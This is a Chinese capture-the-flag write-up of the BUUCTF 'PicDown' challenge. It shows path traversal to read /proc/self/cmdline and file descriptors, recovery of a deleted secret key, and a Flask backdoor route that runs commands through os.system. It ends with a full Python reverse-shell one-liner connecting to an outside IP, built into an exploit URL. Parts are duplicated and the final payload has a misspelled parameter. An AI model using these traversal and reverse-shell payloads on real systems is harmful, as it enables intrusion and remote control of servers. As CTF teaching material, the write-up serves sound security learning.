BUUCTF: [网鼎杯 2020 白虎组]PicDown --- proc文件的利用, --- python反弹shell ---- python代码审计

参考自:whoami大佬的

然后自己学习的基础知识在这里:Linux的/proc/self/学习 ++ CTF例题。参考自上面大佬的。自己输出学习一下而已。

一、自己做:

在这里插入图片描述

我自己做的时候,没有想找个文件目录穿越,用那些伪协议,来了个便,然后127.0.0.1的ssrf也尝试

这些都是些啥啊!!!
/proc/self/environ
/proc/self/cmdline

二、学到的&&不足:

  1. 当看到url中有?file= ... 的时候,当然是想到文件包含balabala之类的。同时还可能用PHP伪协议,php://filter啦,或者本地的直接file://,找个file还可以加空格绕过过滤哦,之前有个题做过的,还有?file=http://127.0.0.1/admin.php这样的ssrf也未尝不是不行哦,
  2. 当然啦,还有最最基础的一个:?file=../../../../etc/passwd这个啦!!!
  3. 然后学习这些:proc/self/environ 和这个,proc/self/cmdline

关于/proc/self/等等相关的知识点,看这个:

三、学习WP

进入题目,一个输入框:

在这里插入图片描述

看到url中有个/?url=,本以为是ssrf,但试了试不行,考虑文件包含,我们抓包尝试:

发现确实存在文件包含漏洞。首先尝试直接构造 ?url=../../../../../../../flag 来读取flag失败,看来有过滤
在这里插入图片描述

我们要换一种思路,既然存在文件包含,我们不仅可以直接读取文件,也可以通过读取/proc目录中的文件来读取文件。如下,我们读取/proc/self/cmdline来获取启动当前题目进程完整命令

扫描二维码关注公众号,回复: 13126006 查看本文章

也就是看看,这个网页是哪个命令开启的

?url=../../../../../proc/self/cmdline

在这里插入图片描述
可知,由python2启动了一个app.py文件,我们读一下这个app.py文件:

在这里插入图片描述
得到页面源码:

from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib

app = Flask(__name__)

SECRET_FILE = "/tmp/secret.txt" 
f = open(SECRET_FILE)       # 用open()打开/tmp/secret.txt文件,文件描述符为f
SECRET_KEY = f.read().strip()      # 读取secret.txt文件,并将内容赋给SECRET_KEY
os.remove(SECRET_FILE)


@app.route('/')
def index():
    return render_template('search.html')     # 访问/根目录是渲染search.html


@app.route('/page')
def page():
    url = request.args.get("url")
    try:
        if not url.lower().startswith("file"):
            res = urllib.urlopen(url)       # 创建一个表示远程url的类文件对象,然后像本地文件一样操作这个类文件对象来获取远程数据。
            value = res.read()
            response = Response(value, mimetype='application/octet-stream')
            response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
            return response
        else:
            value = "HACK ERROR!"    
    except:
        value = "SOMETHING WRONG!"search.html
    return render_template('search.html', res=value)    # 将value(url获取的内容)渲染到search.html页面


@app.route('/no_one_know_the_manager')
def manager():
    key = request.args.get("key")
    print(SECRET_KEY)
    if key == SECRET_KEY:
        shell = request.args.get("shell")
        os.system(shell)          # 这里如果key=SECRET_KEY,那么就从URL中获取shell参数并用system函数(无回显)执行。
        res = "ok"
    else:
        res = "Wrong Key!"
    return res
    
if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080)

那我们就去/tmp/secret.txt中看看SECRET_KEY么,,发现不能读取成功,

然后发现,他把这个给删除了,,,

SECRET_FILE = "/tmp/secret.txt" 
f = open(SECRET_FILE)       # 用open()打开/tmp/secret.txt文件,文件描述符为f
SECRET_KEY = f.read().strip()      # 读取secret.txt文件,,并将内容赋给SECRET_KEY
os.remove(SECRET_FILE)     # 删除/tmp/secret.txt文件

但是这时候,前面的知识点中,fd加pid号码,可以看到执行文件的内容

但是不知道号码是哪一个,所以就爆破一下,然后发现第三个就是了

?url=../../../../../../../proc/self/fd/§1§

在这里插入图片描述
获取到secret.txt的内容了,9zcrKJMWxk7NVdVhdrrtOq3a3ZyMeNFRstZdE0jjsqw=

这时候,我们就可以通过python来反弹shell了,

然后发现,他把这个给删除了,,,

SECRET_FILE = "/tmp/secret.txt" 
f = open(SECRET_FILE)       # 用open()打开/tmp/secret.txt文件,文件描述符为f
SECRET_KEY = f.read().strip()      # 读取secret.txt文件,,并将内容赋给SECRET_KEY
os.remove(SECRET_FILE)     # 删除/tmp/secret.txt文件

但是这时候,前面的知识点中,fd加pid号码,可以看到执行文件的内容

但是不知道号码是哪一个,所以就爆破一下,然后发现第三个就是了

?url=../../../../../../../proc/self/fd/§1§

在这里插入图片描述
获取到secret.txt的内容了,9zcrKJMWxk7NVdVhdrrtOq3a3ZyMeNFRstZdE0jjsqw=

。。中间另开了次环境,

在这里插入图片描述

我tm这个就不好使,总是报错,,,吐了。

后来我重新做的时候,又好了,,,一下子就反弹shell成功了,可能我之前没有进行url编码把,

而且记得python不好时,就换成python3来做

这里面有各种反弹shell的姿势,。这个题的python反弹shell就在里面,和这个wp的poc一摸一样,,,先照抄下来,以后理解理解把,可能有bypass之类的东西。

对python反弹shell代码进行base64编码

这时候,我们就可以通过python来反弹shell了,

构造如下:

这个是哪个python的反弹shell 的那一块

shell=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.xx.xx.xxx",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

注意这个ip换成buu上开小号的ip就行了,或者用自己的服务器也可,不过记得打开安全策略,开放端口。不然链接不上

然后payload就是:

/no_one_know_the_manager?key=9zcrKJMWxk7NVdVhdrrtOq3a3ZyMeNFRstZdE0jjsqw=&sehll=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.xxx.xxx.72",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

ip是buu小号的ip

然后就可以反弹shell了。

猜你喜欢

转载自blog.csdn.net/Zero_Adam/article/details/114890384